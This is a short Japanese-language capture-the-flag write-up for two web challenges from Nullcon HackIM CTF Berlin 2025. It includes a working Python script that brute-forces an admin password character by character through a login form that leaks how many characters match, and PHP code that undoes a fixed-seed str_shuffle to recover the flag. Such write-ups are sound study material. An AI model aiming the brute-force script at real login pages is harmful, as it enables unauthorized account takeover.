Nullcon HackIM CTF Berlin 2025 Writeup
Nullcon HackIM CTF にソロで参加したので振り返り用の Writeup.
時間がなかったので Web 二問のみ
フラグ形式
- フラグ形式は以下の通り
ENO{}
Null Sanity
- sanity check
grandmas_notes
- ログインフォームが現れる
- 配布されるコードから, おそらく admin ユーザーでログインできればフラグが獲得可能
- パスワードを送った際に何文字まであっているかが表示さえるため, (パスワードに使用可能な文字数) x (正しいパスワードの文字数) の試行回数でパスワードを割り出すことが可能 (Blind SQL Injection のような攻撃)
- python で以下のように試したところパスワードを割り出すことができ, フラグ獲得
import requests import string import time def admin_sql_check(url, passwd): payload = {"username": "admin", "password": passwd} resp = requests.post(url, data=payload) if resp.url.split("/")[-1].split(".")[0] != "index": print("true password is", passwd) exit() lines = resp.text.split("\n") for line in lines: if "correct!" in line: print(line) tmp_score = int(line.split()[6]) return tmp_score return 0 login_url = "http://52.59.124.14:5015/login.php" correct_pass = "" for i in range(16): found_flag = 0 for char in string.printable: time.sleep(0.1) score = admin_sql_check(login_url, correct_pass+char) if score > len(correct_pass): correct_pass += char found_flag = 1 print(correct_pass) break if found_flag == 0: print("not found") break
pwgen
- サイトを開くとスクリプトを閲覧できるページがある
- php を読むとシードを固定したうえで平文に
str_shuffle関数でシャッフルをユーザーが指定した回数かけたものを返すらしい - シードが固定されているため,
str_shuffleの返り値の順序を調べ,nthpwに 1 を指定し返ってきた文字列を並び替えるとフラグ獲得
<?php function get_shuffle_order($length, $seed) { $original = ''; for ($i = 0; $i < $length; $i++) { $original .= chr($i + 33); // create unique character } srand($seed); $shuffled = str_shuffle($original); // shuffle to order $order = []; for ($pos = 0; $pos < $length; $pos++) { $char = $shuffled[$pos]; $order[$pos] = ord($char) - 33; } return $order; } $seed = 0x1337; $length = 130; $order_arr = get_shuffle_order($length, $seed); $FLAG_shuffled = '7F6_23Ha8:5E4N3_/e27833D4S5cNaT_1i_O46STLf3r-4AH6133bdTO5p419U0n53Rdc80F4_Lb6_65BSeWb38f86{dGTf4}eE8__SW4Dp86_4f1VNH8H_C10e7L62154'; $original = array_fill(0, $length, ''); for ($pos = 0; $pos < $length; $pos++) { $original[$order_arr[$pos]] = $FLAG_shuffled[$pos]; } echo implode('', $original); ?>